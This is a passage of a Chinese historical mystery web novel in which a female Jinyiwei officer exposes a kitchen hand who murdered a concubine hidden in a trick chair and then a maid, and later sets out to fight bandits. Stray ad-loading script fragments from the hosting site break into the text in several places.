景暄和说:“见过阮老夫人,景某是过来帮阮县丞查案的锦衣卫,此案疑点颇多,所以今天才又过来了一趟。” “那就有劳景大人了。” 阮老夫人点点头,杵着拐杖和丫鬟们一起离开了。 景暄和又来到了昨天发现尸体的房间。 她环顾四周,总觉得缺了什么东西。 到底是什么呢? “景大人,请喝茶。”侍女端上一杯茶给景暄和,她想也没想就准备喝,可是到嘴边,却停下了。 那侍女早已不见了踪影。 景暄和仰头喝了茶,下一秒就倒在了地上。 有人蹑手蹑脚地过来,将她背了起来,穿过亭台楼阁,放到了一张柔软的床榻上。 那人将纱帘垂了下来。 门突然被锁上,屋内又寂静起来。 景暄和突然睁开眼睛,其实她刚才是假装喝下的那茶,全倒在了花盆里,她早已发现那茶被下了迷药,便想来个将计就计,看看幕后之人想干些什么。 这房间布置得很气派,还挂上了文人墨宝,难道是……阮继的房间?! 心底有一个想法冒了出来,如果真是那样的话,手段也太下作了吧。 门外似乎有人进来了,景暄和赶忙重新躺在床榻上,只是屏气凝神,注意着外界的一举一动。 来人似乎昨夜没睡好,精神有些恍惚,打开了门,往床榻而来。 景暄和握紧拳头,要是他敢对她不轨,她不介意给他一拳。 阮继掀开纱帘,很有些惊讶,他揉了揉眼睛,似乎没想到床上怎么会多了一位丽人? 气氛有些尴尬。 景暄和心想,好像不是阮继做的,如果是他,他不会这么吃惊,半天都不动弹。只是,如果不是他,那又会是谁呢…… 唯一的可能就是,躲在暗处的人想阻挠景暄和查案。 阮继的目光在她的脸上流连,不可否认,这女子很漂亮,当她盯着你时目光澄明,让人不敢亵渎,可是当她闭上眼睛时,却轮廓柔美,恍若精灵。 阮继不禁咽了一口口水。 突然坐下来,伸出手似乎要去摸她的脸。 景暄和一把抓住他的手腕,坐了起来。 阮继被吓了一跳,“景……景大人……” “你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要做什么?” 阮继像被抓包一般,“是你躺在我的床上,难道不是你想……” “这怎么可能?”景暄和使劲摇头,“刚才我在红袖房间探查时,有一个侍女给我端了茶想将我迷晕,我便将计就计,没想到他们竟然将我背到了你的房间,阮县丞,看来你府里的人手脚已经不干净了。且看着吧,等下还会有一出好戏呢。” 不多时,门外有些嘈杂,阮老夫人将门一把推开,她身后带着丫鬟们,还有阮家宗族里的族长和族里的一些年轻人。 族长是个年过花甲的老头,他听说阮继竟要给小妾办如此隆重的葬礼,觉得于礼不合,便带着族人怒气冲冲地来了,刚坐下没多久,就听到丫鬟禀报,说景大人在老爷房里。 “景大人是谁?” “是为红袖查案的女子。”阮老夫人道。 “女子查案,败坏风俗啊!”族长胡子都气歪了。 “我看查案是假,想爬上我儿子的床是真!阮家富甲一方,这女子八成是觊觎我家的钱财!”阮老夫人嫌恶道。 只见阮继正坐在床榻上喝酒,一杯接一杯,很是惆怅的样子,突如其来的光亮让他有些不适应,他举起手挡在眼前。 “母亲,你来做什么?” 阮老夫人在丫鬟的搀扶下进来,目光锁在了阮继的床上,又掀开帘子和被子,并没有发现什么人。 族长说:“丫鬟禀报,说你与那查案的景大人共处一室,真是有辱斯文啊!” 阮继仰头道:“族长,饭可以乱吃,话不能乱讲,我这屋子里哪里有人?不过是思念红袖太甚,所以关在房间里喝闷酒罢了,难道连这也不行吗?” 族长被噎得说不出话,身后的几个年轻人也环视四周,屋子里静悄悄的,连个鬼影都没有。 “那景大人呢?她现在在哪里?”阮老夫人不死心道。 阮继烦躁地摇了摇头,“我哪知道?可能在阮府的某个角落里查案吧……母亲,能不能让我一个人静静?你带着这么多人闯进来,是不相信你的儿子吗?还是觉得,你儿子是一个浪荡之徒,只要看见美貌的女子就走不动路了!” 阮老夫人知道他心烦,只好跟族长说:“也许这是一场误会吧,已经午时了,我们先去前厅休息一下吧。” 族长抚了抚花白的胡子,终于点了点头。 待众人离开后,景暄和从桌子底下钻了出来。 还好桌布垂地,没有人发现她的存在。 蹲得有些麻了,景暄和敲了敲腿,说:“阮县丞,我说的不错吧,你府里果然有猫腻。” 阮继有些羞愧地咳嗽了一声,“我会派人去查那传话的丫鬟,看她是受何人指使的。” 景暄和点头,“那样就最好了。” 刚才她躲在桌子下面,目光落到了众人的脚上,只觉得无聊的很。 阮府家境殷实,桌椅板凳都是最好的红木,可是那日红袖在表演时,好像有什么不对。 而她的房间里恰好就差了那件东西! 景暄和灵光一闪,她好像知道“瞬移之术”是怎么完成的了! 134. 人肉椅子 午时刚过,阮府有些安静,一声尖叫却划破了宁静。 给景暄和下药的丫鬟是阮老夫人的贴身丫鬟珂儿,这些年很是机灵,深得老夫人器重,所以珂儿一跟老夫人报告说景暄和在阮继房中,老夫人就深信不疑,立马带着一大帮人过来了。 阮继派人去查珂儿的下落,一个丫鬟却见她的尸体漂浮在荷花池中,已经气绝身亡了。 丫鬟从没见过死人,不禁发出尖叫。 景暄和派人将她捞上来,只见她脖子也有青紫的勒痕,同红袖一样是被勒死的。 珂儿的眼睛睁得大大的,表情十分痛苦,似是死不瞑目。 在这痛苦之下,还带着……惊讶。 对,她的嘴巴微张,神情惊愕,表情定格在这里,好像时间停止了一样,有种诡异的阴森感。 一般而言,人死后几个小时内会出现尸僵,在这段时间内,肌肉僵硬,面部表情会暂时固定,但随着时间的推移,肌肉逐渐失去张力,会松弛下来,也就不会再“记录”死前的表情了。 由此可见,珂儿的死亡时间并不久,最多只有半个时辰。 “珂儿平时有什么交好的丫鬟吗?”景暄和问阮府的下人们。 凶手若能指使得动珂儿,必定深得珂儿的信任,否则她临死前看到那人要杀她,也不会露出如此惊讶的表情。 小丫头们怯懦地摇摇头:“珂儿姐姐是阮府的老人了,也是老夫人身边的大红人,平日里十分骄矜,我们也不敢说什么,只好捧着她,大家都很怕她,也没有谁敢和她交好。” “那么她有没有什么意中人呢?” 小丫头们你看看我,我看看你,一个胆子大的突然说:“最近珂儿姐姐很有些奇怪,总是捧着一个香囊在绣,我们问她那是什么,她还说不用我们管,看起来很宝贝那个东西,我们都猜,是她想送给情郎的。” “哦?这是最近发生的事情吗?” “可不是?”小丫头挠了挠脑袋,说:“就是上个月才发生的,珂儿姐姐就像变了一个人,平时不苟言笑,一副阮府大丫鬟的做派,最近竟会和我们开玩笑了,变化可不是一般的大,就像是刚刚陷入爱河的少女。” “那香囊现在在哪里呢?” “我看珂儿姐姐总是放在她的枕头下面,不出意外的话应该还在那里,我现在就给景大人去拿!”小丫头自告奋勇道。 不一会儿,她就回来了,手上拿着一个绣了小白兔刺绣的香囊,这香囊虽不甚精美,可是看得出来,绣得十分用心。 景暄和又仔细端详了一下那香囊,很明显这是定情信物,珂儿对此用了不少心思。 她遗憾地望了珂儿一眼,她以为那是给她幸福快乐的情郎,谁知却是个杀人的恶魔。 到底是错付了。 珂儿的衣服已经湿透,上面还带着水草淤泥,衣领上却有些泛黄的痕迹。 好像是……油渍! 景暄和心下了然,随即问小丫头们:“你们知道阮府有什么放杂物的地方吗?” “后院的角落里有个柴房,平时没用的桌子椅子都堆在那里!”小丫头抢先道。 景暄和微微一笑,眼中带着自信的光芒:“去禀报你们老爷吧,红袖夫人与珂儿之死,我已经搞清楚是怎么回事了。” *** 一得到消息,阮继和阮老夫人就匆匆而来,后面跟着阮氏的族长和后生们,他们倒要看看,这景大人是不是如传说中的一般探案如神,还是只是个徒有其表的花瓶。 茗泉在后花园等待着众人,他说:“景大人请各位去柴房一叙,她说案子的关键证据,就在那里。”顿了顿,“还有,请带着阮府的丫鬟家丁们一起去那儿吧,景大人说,凶手,就藏在他们之中。” “这女子怎么神神秘秘的,”族长有些不耐烦,“可不要叫我们失望了。” 众人与茗泉一道去往了柴房,这儿在阮府的角落,平时很少人来,里面堆砌着废弃的家具,因为没有人打扫而显得格外荒芜。 景暄和负着手站在柴房门口,目光望向了里面,众人随着她的目光往里面看,只看到一些废旧的桌椅,不知道有什么特别的。 茗泉对景暄和恭敬道:“景大人,大家都来了。” 景暄和转身,后面黑压压的来了一片人,众人的目光都落在了她的身上,有的是好奇的眼神,有的则是不屑。 她没有理会那些目光,而是微微一笑,说:“诚如茗泉所说,我已经找到了凶手,可是在此之前,我还是想还原一下红袖死亡当晚发生的事情,想必我还原之后,一切就都一目了然了。” 众人聚精会神,生怕错过什么玄机。 景暄和继续道:“那一晚,阮县丞设宴替我接风洗尘,我们坐在湖心亭中,看到红袖夫人在石画舫中弹琵琶。小丫头,你和红袖夫人身量相似,都很娇小,能不能请你扮演一下她?” 小丫鬟点点头,景暄和拿出一个红木凳,那凳子有靠背和把手,和当晚的那把看起来很像。 小丫头坐在凳子上,静待景暄和接下来的发言。 “突然,灯笼熄灭了,一切都陷入了黑暗之中。我发现那灯笼上面有石子穿过的痕迹,凶手站在远处,用小石子将蜡烛弹灭,他的指尖很有力量,不出意外的话是个练家子。” 阮继不解:“可是有两个丫鬟守在石画舫通往花园的路上,凶手又是怎么劫走红袖的呢?” 景暄和朗声说:“凶手可没有‘劫走’红袖,事实上,红袖自己躲起来了,凶手将她转移到房间后,才杀掉了她。” “她自己躲起来?”阮继瞪大了眼睛。 阮老夫人也说:“真是一派胡言,她是我儿子最宠爱的小妾,平日里吃香的喝辣的,又怎么会想逃走呢?” “我猜想,她是受到了威胁,所以不得不逃走,她以为那个人会帮助她逃走,谁知在这个过程中,却被杀害了。”景暄和惋惜道。 阮继摆手说:“不,不对啊,灯笼重新点起后,石画舫里面只有一面屏风,一把琵琶,还有一张凳子,我命人撤走了这些东西,让他们仔细搜索,但是并 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有发现红袖的影子,那么,她躲在哪里呢?难道是会隐身术?” “错就错在这里,因为这个时候,阮县丞您已经无形中帮助红袖转移了。” “你说什么?!”阮继难以置信地瞪大双眼。 族长也满是震惊,后生们面面相觑,不知道她说的话是什么意思。 阮继帮她转移的……? 景暄和指了指那椅子,“红袖失踪后,大家都很慌乱,没人在意椅子,当晚并不是这一把红木椅子,而是能藏人的特殊椅子,而红袖,就藏在椅子里。” 不等众人从震惊中回过神,景暄和继续道:“我验过尸,发现红袖身上有扭伤和擦伤的痕迹,还是生前所伤,证明她曾练习过很多次藏在椅子中——那是一把特制的椅子,人从椅背钻进去,下身蜷缩在椅子底部,而她身量娇小,所以不是什么难事。椅背和椅子底部都很厚,与普通的椅子不甚相同,可若不仔细看,也不会注意这些。丫鬟曾说,红袖夫人之前将自己关在房间里练琵琶,想必练琵琶是假,练习怎么藏在椅子里才是真吧。” 她顿了顿,“凶手知道她的计谋,趁着阮县丞说将椅子撤下去的工夫,便将椅子连带着她带回了房间,那天大家发现红袖夫人不见了都很慌乱,如果我没记错的话,拿走椅子的人,就是你吧。” 景暄和指向了一个浓眉大眼的小伙子。 他叫甄六,是阮府上个月新来的帮厨。 “因为阮府的大门都被守起来了,所以你杀完人后只好将椅子丢在柴房里,我刚才进去找了一圈,发现那特制的椅子就在那里。”她指了指其中的一把。 茗泉进去,将那椅子搬了出来。 果然如景暄和所说,后背有特制的机关,可以打开。 甄六支支吾吾道:“景大人,我在厨房里做事,一向出来的很少,而且那晚人那么多,你是不是记错了。” 她早就料到他会用这个借口开脱,便说:“诚然,大家的目光都集中在石画舫了,谁还会记得移走椅子的人长什么样呢,可是你千不该万不该后来又借珂儿之手陷害我,没想到却留下了你杀人的证据。 今天族长带着后生们来到阮府,大家都没有准备,阮老夫人就要厨房开始做菜,你知道大家一定会查到珂儿身上,你必须放弃掉这枚棋子,便在做菜的间隙出门,想解决掉珂儿,手上却有油渍,在你勒杀她的时候,油渍沾到了她的衣领上,留下了证据。我询问过帮厨,除了你说要解手出去过一段时间,其他人可都是一直呆在厨房的,半步都没离开。” 甄六脸色一白,像白纸一般。 “说!到底是谁派你来的,你这么做的目的又是什么!”景暄和逼视道。 甄六突然掏出烟雾弹,往众人处一扔。 烟雾缭绕,大家顿时慌成一团,景暄和大声说:“守住出口,别让他跑了!” 他见逃脱不得,竟从袖口抽出一把刀子,顺势一拉,将阮老夫人的脖子抵住。 “别过来,再过来我就杀了这个老太婆!”他双眼通红,恶狠狠道。 135. 白兔与他 景暄和本想放出小蛇阿彩,可是阿彩最近好像生病了,食欲不振,连动弹都是勉强,还是得另想办法。 待烟雾散去,众人都有些惊惶,阮老夫人在望春县很有声望,如果今日命丧歹徒之手,不免会掀起波浪,闹得人心惶惶。 “你快放了我母亲!”阮继有些着急,“你要多少钱,我们都可以谈!” 甄六将刀子抵得更近了,“我不要你的臭钱,只要你放我出去!” “你绑架一个老太婆有什么意思,”景暄和说:“我可是朝廷命官,如果我在你手里,对你不是更有利?” “你?” 甄六犹疑地望了她一眼。 可这女子看起来太过耀眼,他实在没把握能掌控她。 “我愿意和阮老夫人交换,你带着她一个风烛残年的老人,行动也不方便,如果我在你身边就不一样了,对不对?”景暄和继续劝说道。 好像有点道理,甄六警觉道:“可是你和这老太婆非亲非故,为什么要救她?” “因为我是锦衣卫,她是民,我有责任保护她。” 她给出的理由非常简单,却也非常有力。 阮老夫人嘴唇张了张,没有说话,她万万没想到,关键时刻,这个女子竟然会出手救她。 自己可真是有眼无珠,之前竟将她想成了一个贪慕虚荣、只为钱财的女子。 若她真的只为钱财,现在恐怕早就躲得远远的了吧。 景暄和走近一步,掏出珂儿的遗物香囊,说:“想想珂儿吧,你是她的心上人,小丫头们说,她为了给你绣香囊,连手都被针扎破了好多次。老夫人是她最尊敬的人,你忍心危害老夫人的性命吗?你如果还是个人的话,就放开老夫人!” “别跟我提那个蠢女人!我不过是想利用她罢了,她也罢,老夫人也罢,她们的命在我的眼里,还不如一只蚂蚁。” “蚂蚁?你居然是这么想她的。”景暄和捏紧了那香囊,本想用珂儿的遗物唤起他最后的一点良知,没想到,他根本就没有良知。 “可是,你为什么要听从幕后之人的意思,杀掉红袖呢?她与你无冤无仇,你这么做,就不会做噩梦吗?” “你懂什么?他说红袖该死,红袖就该死……”甄六突然住了嘴,防备地盯着景暄和,“你是在试探我?” 景暄和皱眉,她猜得没错,果然还有幕后之人,有另一个不为人知的“他”隐藏在背后,操控着这一切。 只是甄六很警觉,没有提供更多的线索。 景暄和说:“你少疑神疑鬼了,我们不说别的,我刚才的提议,你答不答应?用我的命,换阮老夫人的命。” 甄六一向多疑,他冷声道:“可是你必须答应我两个条件,第一,放下你的武器,第二,将你的双手绑住,不许给我耍花招!要是你敢耍花招,老子立刻弄死这个老太婆!” “好,我答应你,只要你不伤及无辜之人的性命!” 景暄和依言解下了绣春刀,又让丫鬟们给她绑住双手。 “这样总可以了吧。”她将手抬起来,示意给他看。 “不!要绑的更紧些!” 景暄和知道他疑心重,不想触怒他,让人依他的话做了。 甄六说:“你先过来,我再放了这个老太婆。” 景暄和一步一步朝他走了过去,在离他半米远的时候,甄六将阮老夫人猛地一推,就想抓住景暄和的脖子。 谁曾想她动作极快,指尖从袖口抽出一根银针,电光火石间朝甄六的膻中穴刺去。 “贱人!你……” 甄六胸口一痛,景暄和抬脚一踹,将他踩倒在地上。 “狗杂碎!就算我不用手,也能将你这杂碎踩在脚底。” 家丁们赶忙过来按住甄六,可是他头一歪,居然咬舌自尽了。 可惜,没能审出幕后主使! 丫鬟们赶忙过来帮景暄和解绑,阮老夫人带着阮继过来连连拜谢:“恩人,真是多谢你了!要不是你,我老婆子就要被这个狼心狗肺的给害死了!” “阮老夫人,不必多礼,正如我刚才说的,为官者护在百姓前面,本就是应该的。” “话虽如此,可是能够做到的却少之又少,景大人,之前是老身的错,误把珍珠当鱼目……老身记下了你的恩德,以后在望春县用得着阮家的,请尽管提。” 她在阮家的千恩万谢之下离开阮府,拿到银子,今晚便要动身去前线与汪常青夫妇汇合了。 阮家答应派人护送白银到“周家坳”,算是解决了一件大事。 午后的阳光是难得的温暖,金黄的梧桐叶落下,好像铺了一条金灿灿的道路。 说实话,景暄和的心里有些紧张,以前都是在顺天府破案,而这次来到了一个完全不熟悉的地方,还要做一些完全不熟悉的事。 茗泉似乎看出了她的紧绷,安慰道:“景大人,凡事都有第一次,我相信你探案做得好,剿匪也是一样的!老话说的好,一通百通,一定没问题的。” “多谢你的鼓励。”景暄和笑了笑。 茗泉突然被一阵烤红薯的香气吸引,肚子叫了叫,他有些不好意思地扣了扣脑袋,红薯摊子排了长队,估计还要等好长时间呢。 他从小就喜欢吃红薯,一闻到红薯的香味就走不动道了,母亲还给他起了个小名叫“红薯郎君”。 景暄和从荷包掏出银子给他,道:“没关系的,我们马上就要去周家坳了,那儿恐怕会更加荒凉,也许十天半个月都吃不到烤红薯了,反正晚上才会动身,你想吃就排队买吧。” “可是,景大人,不会耽误你的时间吗?” “这有什么?我也想趁这个空隙在望春县逛逛,放松一下,算是为之后的大战做准备吧。” 茗泉这才放下心来,加入了排队的队伍。 景暄和闲来无事,便去周围逛了逛,不知怎的便来到了河边。 河水清澈,旁边有几间茅草屋,一只小兔子不知从哪儿跑了过来,在景暄和脚下蹭。 景暄和突然想起珂儿留下的香囊,上面也绣了一只小兔子。 她抱起兔子,摸了摸它的耳朵,“小兔子,你怎么乱跑呀,你的主人呢?” 小白兔自然不会说话,只是眼睛朝某一处瞟了瞟。 景暄和顺着那个方向望去,只见一个男人半蹲在河边,他的身边围了五只小兔子,怀里还抱了一只。 这景象似乎有些诙谐,可是他身姿高挑,又显得很温柔。 男人的身旁有一株银杏树,风儿一吹,叶子打了个旋儿,如金色的蝴蝶在空中飞舞,落到了他的肩上。他随意地拂了拂肩,动 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 作很轻,甚是优美。 竟是那日被她错认成万灵安的先生! 景暄和走近了他,低声说:“先生,这是你的兔子吗?” 那人微微仰头,看到景暄和似乎很惊讶。 自从那夜的诀别,他从未想过还能听到她如此柔声地对他说话。 万灵安不禁摸了摸脸上的人皮面具,还好,她还是没有认出他。 可是他不能说话,一说话就会暴露。 他点点头,从景暄和手中轻轻地接过了兔子。 “先生,你竟养了这么多兔子,它们好可爱啊。”景暄和情不自禁地蹲下来,一会儿摸摸它们的头,一会儿又摸摸它们毛茸茸的身子。 没有听到回答,景暄和抬头,却见那人指了指自己的喉咙,又摆了摆手。 她一愣,随即不好意思地说道:“先生,对不起,我不知道你有哑疾,不能说话。” 兔子们还在吃草,万灵安指了指银杏树下的一块空地,景暄和立刻心领神会,同他一起坐在了树下。 养这些兔子都拜庄炎所赐,他爹庄志兴说万大人要修身养性,调养身体,养只宠物可能会让他心情愉悦,庄炎听进去了,竟从集市里买了七只兔子! 万灵安知道他是好意,可是他一个男人养七只兔子看起来实在太蠢了,便想将它们赶到草丛中放生,没想到却遇到了她。 他倒不知道,她会那么喜欢兔子,那么,庄炎也算是没买错。 河中流水潺潺,还能见到里面的石子和鱼儿,水草参差,野趣横生。 万灵安找了根木棍,在地上写了一行字。 「姑娘似乎有烦心事?」 景暄和叹了口气,不知怎么,这个陌生的公子让她没来由地感到亲切,她缓缓道:“先生,你知道吗?一开始,我将你认错成了另一个人,可是我知道,你不可能是他,永远都不可能。” 「那是个怎样的人呢?」 景暄和的目光望向了远方,远处是望春山,连绵起伏,远山青黛,恍然如画。 “那是我很喜欢的人。” 万灵安一怔,转头望向她,他的目光如无垠的海水,幽暗而深邃。 景暄和仍是盯着远方,淡淡道:“可那是过去的事情了,曾经很喜欢,现在,必须要放下了。” 万灵安握紧了木棍,还是写道:「为什么?」 “我们之间隔着一条无法越过的鸿沟,他在那边,我在这边,因为一些事情,我们走不到一起了。”景暄和无奈地笑笑,“也许这就是大家说的造化弄人吧。” 万灵安一笔一划地写道:「也许,是误会?」 景暄和仍是笑着的,她摇了摇头,“世事无常,先生,他与你不一样,你可以过闲云野鹤的生活,与小白兔为伴,可是他不行,他不能放下那些东西,不过,我也不怪他,毕竟走到了那个位置,是他为之努力了多年的成果,怎么可能说放下就放下呢?也许,我只是有些不甘心罢了。” 她顿了顿,“我的许多朋友都因他的决定而死,这件事就像一根刺,对我来说,忘记就是背叛,我真的忘不了。先生,你能理解我的感受吗?” 景暄和对上了他的眼睛,她的目光带着深深的痛意,刺痛了自己,也刺痛了他。 万灵安抬手,仿佛下一秒就会触到她的脸颊。 136. 突遇匪徒 景暄和望向他的手,又望向了他,眼睫微颤,似乎染上了疑惑。 这人要做什么? 她眉头微微聚拢,却没说话。 万灵安心想,天知道他是多想将她拥入怀中,可是,他不能。 他的手抬在空中,进也不是,退也不是。 “先生,你怎么了?” 万灵安一怔,余光突然见到一只小甲虫爬上了她的肩膀,他轻轻将小甲虫拿了下来,放到地上,看着它慢慢爬走。 “竟是一只虫子,多谢先生!”景暄和随即放松下来,她还以为这男子想摸她的脸呢,原来是她想多了。 不过这人对待一只甲虫都这么温柔,一定不是个坏人。 景暄和伸了个懒腰,阳光正好,落在河面上,波光粼粼的,她不禁感叹道:“这小河真美啊,先生是望春县本地人吗?如果是的话,天天看到这样的美景,也算是一大乐事。” 万灵安写下:「不过是飘泊尘世间,天地一蜉蝣。」 景暄和抿嘴一笑,“看先生的样子,不像是普通的文人吧,倒像是个隐士,古人说‘梅妻鹤子’,先生却养了许多白兔作伴,倒也风雅。” 微风拂过,她的长发被吹起,她理了理头发,万灵安却见到她的手腕上有勒痕,已经破皮了。 景暄和似乎注意到了他的目光,也看向了自己的手腕,这是刚才丫鬟绑得太紧勒出的血痕,当时情况危急,景暄和也来不及多想,现在倒是感觉到疼了。 不知怎的扯动了伤口,她“嘶”了一声,扭了扭手腕,说:“没关系的,平常打打杀杀都习惯了,这点小伤不算什么。” 万灵安却摇了摇头,从怀中掏出一块帕子,来到河边,将帕子打湿,轻轻地帮景暄和擦了擦伤口。 他的动作极轻,擦完后还吹了口气,好像是在安慰她一般。 不疼了,吹一吹就不疼了。 景暄和的眼眶一下子就红了。 她咬了咬嘴唇,拼命控制住自己的眼泪。 真是的,她明明像是铁打的一般,为什么,面对陌生人的善意却这么无所适从呢? 万灵安从荷包中掏出金疮药,洒在她的手腕上,又拿出另一个干净的帕子,撕成两半,帮她包扎两只手腕,整个动作行云流水,十分轻柔。 景暄和微微扬起下巴,硬生生地将眼泪憋了回去。 如果在陌生人面前流泪也太没出息了吧,传出去真让人笑话。 万灵安捡起木棍,在地上写道: 「姑娘,还疼吗?」 景暄和摇摇头,“不疼了,多谢先生。” 万灵安又写下: 「疼也没事,不必否认。」 景暄和心中像被柔软的羽毛触碰过一般,她飞快地抹了抹眼角,没有说话。 这次她改口说:“是有点疼,但是,就一点点。” 他一笔一划地写道: 「没事的,我相信一切都会过去的。」 “谢谢你的安慰,”景暄和微笑了一下,“先生,与你说话真的让人很开心,就像和我的老朋友说话一般。” 虽然严格意义上来说,他们并不是在“说话”,而是在“交流”。 可就算只是这样,她的心灵也难得地放松了下来。 这时,那兔子又在她的身边蹭了蹭,景暄和将它抱在怀里,摸了摸它的头。 「姑娘要去哪里?」 景暄和看到了他写的字,说:“我要去周家坳,那儿现在很危险,可是,我必须去。” 「剿匪?」 “是啊,”景暄和颔首道:“如今匪徒猖獗,不能不管了,说出来也许你会不信,可这是我亲自向皇上领命的,这个任务我不光要完成,还要完成的漂亮。” 万灵安沉默了一下,写道:「然后呢?」 景暄和一愣,“你是说剿匪成功之后?” 万灵安点头。 “当然是回顺天府了,除了顺天府,我也不知道要再去哪儿了。” 她的思绪突然飘到了很远的地方,来到大明已经许久,也不知道自己的家人如今过得怎么样?她的父母应该都快退休了吧,她的妹妹景暄妍如今又怎样呢? 她与暄妍总是吵吵闹闹的,小时候经常打架,可是姐妹的感情却很好,都说夫妻之间是“床头吵架床尾和”,她与暄妍也是一样,即使闹的再凶,过一会儿两人就自动忘记了这件事,又重归于好了。 暄妍之前谈了一个男朋友,现在恐怕都要结婚了吧,可惜她这个姐姐不能去参加她的婚礼了,实在是遗憾。 可是她没有当着男子的面讲这些,看得出来,他似乎没有亲人,也不必提起他的伤心事了。 「顺天府,很好吗?」 他突然问。 景暄和似乎被他问住了,久久没有动弹,她沉吟了一下,道:“对于有的人来说是天堂,可对于有的人来说却是地狱。” 男子歪着头,眼神露出疑惑。 景暄和解释道:“那儿有许许多多的商铺街市,还有高门显贵,更有红墙金瓦、雕梁画栋的紫禁城,紫禁城是皇上住的地方,可气派了。在顺天府,你可以得到所有你想要的东西,只要你敢去争取。” 她顿了顿,“可是,那儿又有无数的失意、困顿、不甘与残忍,权力场的角逐总是残酷的,有些人站上了山顶,就意味着有些人要跌落下来,因为位置只有那么多,谁都想上去,最后只能争得头破血流,别无他法。在顺天府,你可以见证无数的大起大落,悲欢离合,有意思的是,这个地方明明叫‘顺天府’,却有许多人要逆天而行,只为了追求内心的理想与坚持。” 万灵安写道:「地狱与天堂,往往只是一瞬间。」 景暄和抚掌而笑,“对,就是这个意思,可也要无愧于心才是正道。人生没有对错,只要自己快乐就好。” 她似乎突然想通了什么,脑中冒出一句话:“决定人心情的,不在于环境,而在于心境。若是心态好,即使在不毛之地,也会甘之如饴。” 一想到此,她的脸上挂上了一痕笑意,心中原本的沉重也像一扫而空了一般。 时间不早了,茗泉应该已经买到红薯了,景暄和起身,拍了拍身上的草芥,与男子告辞。 “先生,我该回去了,不然仆人会等着急的。”景暄和最后再摸了摸那些可爱的小兔子们,抬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头说:“先生,我们有缘再见吧。” 万灵安起身,只见景暄和朝他挥了挥手,转身离开。 她的步伐轻快,眼中带着笑意,好像天地间一只自由的鸟儿。 万灵安心想,这样的人,顺天府是困不住她的。 哪里都不能困住她。 *** 回到原处,茗泉果然已经买好了红薯,还吃了一大半。 这红薯实在太烫了,他被烫的龇牙咧嘴的,景暄和“噗嗤”一笑,“你慢点吃,又没人和你抢。” “景大人,你刚才干什么去了?是去医馆了吗?” 他注意到她手腕上的包扎,倒是包的很细致,像是医馆的先生包的一样。 “没有,只是遇到了一个很有意思的先生,和他攀谈了几句,”景暄和没有多说,而是淡道:“走吧,快回去收拾行李,我们今晚一定要赶到周家坳,耽误不得。” 夕阳西下,晚霞的余晖在天空中如彩色的绸缎,偶尔飘过几片疏淡的流云。 景暄和购置了许多食物和粮草,还有医药,足足装了三大车,又将其他的银子装在马车的底部,以防打草惊蛇。 景暄和与茗泉换上了一身黑衣,她将头发束起,做男子打扮,尽量让自己不那么显眼,于夜色中也方便一些。 旁边是耸立的高山,长满了密密麻麻的松树,天渐渐黑了,如浓黑的墨迹,将世间万物都染上了一层黑影。 景暄和心想,怪不得剿匪那么艰难,匪徒们躲在深山之中,又经常转移,易守而难攻,如果能找到他们的老巢就好了,只是,想法虽然好,做起来却很难,匪徒们为了安全起见,一定将老巢建在十分隐蔽的地方。 茗泉打了个寒颤,低声说:“景大人,这儿怎么黑黢黢的?只听到风声,太渗人了吧。” 景暄和似是想到了什么,说:“我如果是匪徒,若是察觉到有人运送大批粮草过来,肯定会埋伏在周围,想方设法也要抢劫粮草。若粮草没了,军士们的后路也就没了,那么剿匪就不可能成功。” 她心中一紧,眸光扫了一眼那密林之中,依稀间似乎有……火光。 不会真被她说中了吧。 “停下!” 景暄和让车夫们暂停行驶。 “注意隐蔽!” 她让大家将泥土抹在脸上,自己也抹了把泥,遮住五官。 景暄和悄悄对茗泉耳语了几句,茗泉一脸惊恐:“可是,我真的可以吗?” “快去,你要相信自己。”她拍了拍他的肩膀。 茗泉深吸一口气,提起腿就往道路尽头跑去。 景暄和已经察觉到了危险,可她不能坐以待毙,敌方数量未知,茗泉若能搬来援兵,就更有希望了。 突然,一支利箭穿空而来,直直朝景暄和射去。 她眼眸瞪大,飞快躲避,那箭插入草地,看得出来力道极大。 “兄弟们,杀啊!” 远处传来一声长啸,撕裂了寂静的黑夜,山林中窜出了五十名匪徒。 领头的那人戴着鬼面,那鬼面狰狞可怖,在黑夜中仿佛修罗恶鬼。 竟是传说中的土匪头子! 137. 土匪头子 车夫们都有些慌乱,景暄和握紧了拳头,越到这种时候越不能乱,她是他们的主心骨,如果她乱了,那么大家必败无疑。 如今敌众我寡,硬刚一定会造成损失,茗泉已经被派出去传递消息了,她要做的就是拖延时间。 景暄和压低了嗓子,大声说:“各位壮士们,是不是有什么误会?我们只是过路的商贾而已。” 鬼面人抬起手,土匪们立即停住了脚步,只是有的背着剑,有的扛着刀,还有的叼着狗尾巴草,都是凶神恶煞的模样。 鬼面人长得极其高大,都快到两米了,景暄和与他一比,就像是一只芦苇之于巨石。 他不耐烦地睨了景暄和一眼,眼前之人黑不溜秋的,连样子都看不清楚,他实在是没兴趣与她废话。 景暄和忽略掉他打量的目光,施了一礼,道:“壮士们,一定是哪里弄错了,小人早就听闻黑风寨都是些义士,劫富济贫,一定不会为难我们这些赚辛苦钱的生意人吧。” 鬼面人身旁的大汉说:“大当家的,你可别被这小子蒙蔽了,我们刚收到消息,这个时候过路的,一定是官府的人,没有错!” 景暄和一惊,这人居然说“收到消息”,可她一向低调,并没有让很多人知道,这消息又是怎么走漏的呢? 来不及多想,景暄和灵机一动,大声说:“冤枉啊!小人只是本本分分的商人,大爷您说的官府之人,我好像有点印象,我们是往这条路走的,后面还有一队人马,看他们穿的衣服,雄赳赳气昂昂的,肯定是官府的人,好汉们,你们别弄错人了,他们在我们后面,可不是我们啊。” 她问身后的车夫们:“大伙刚才是不是也看到后面的一队人?” 车夫们赶忙迎合地说“是”。 “你是做什么生意的?”鬼面人开口问。 他的声音有些粗糙,像石子磨损过的琉璃,带着不容拒绝的威严。 景暄和从善如流道:“小人家是卖面粉的,这些车里也都是装的面粉。” “如今望春县的面粉卖多少钱一斤?”鬼面人突然问。 